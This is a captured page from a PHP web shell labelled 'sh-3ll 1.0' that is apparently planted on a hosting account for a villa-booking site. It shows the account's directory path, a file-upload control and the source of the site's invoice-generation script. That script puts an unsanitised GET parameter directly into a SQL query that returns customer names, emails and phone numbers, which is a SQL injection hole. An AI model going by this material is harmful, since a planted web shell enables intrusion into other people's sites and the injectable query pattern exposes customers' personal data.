fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/mountanasikunir.com/
Upload File :
Current File : /home/u1105814/public_html/mountanasikunir.com/generate_invoice.php
<?php
require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$id_invoice = $_GET['id_invoice'];
//echo "$id_invoice";
error_reporting(0);
include "admin/config/koneksi.php";
$get_booking=mysqli_query($connect,"SELECT * FROM booking a left join produk b on a.id_villa=b.id_produk where id_booking='$id_invoice'");
$fget_booking=mysqli_fetch_array($get_booking);
$id_villa=$fget_booking['id_villa'];
$fullname=$fget_booking['fullname'];
$email=$fget_booking['email'];
$phonenumber=$fget_booking['phonenumber'];
$checkindate=$fget_booking['checkindate'];
$checkoutdate=$fget_booking['checkoutdate'];
$paymentmethod=$fget_booking['paymentmethod'];
$duration=$fget_booking['duration'];
$harga=$fget_booking['harga'];
$total=$fget_booking['total'];
$nama_villa=$fget_booking['nama'];
$dp=$total*30/100;
// Data dinamis contoh
// $fullname = "John Doe";
// $email = "john@example.com";
// $phonenumber = "08123456789";
// $id_invoice = "INV123456";
// $nama_villa = "Villa Indah";
// $checkindate = "2025-06-01";
// $checkoutdate = "2025-06-03";
// $duration = 2;
// $harga = 750000;
// $total = $duration * $harga;

// Ambil isi HTML dari template_invoice.php
// Render HTML
ob_start();
include 'template_invoice.php';
$html = ob_get_clean();

// Inisialisasi Dompdf
$options = new Options();
$options->set('defaultFont', 'Helvetica');
$dompdf = new Dompdf($options);
$dompdf->loadHtml($html);
$dompdf->setPaper('A4', 'portrait');
$dompdf->render();

// Tampilkan di browser
$dompdf->stream("Invoice_$id_invoice.pdf", ["Attachment" => false]);
?>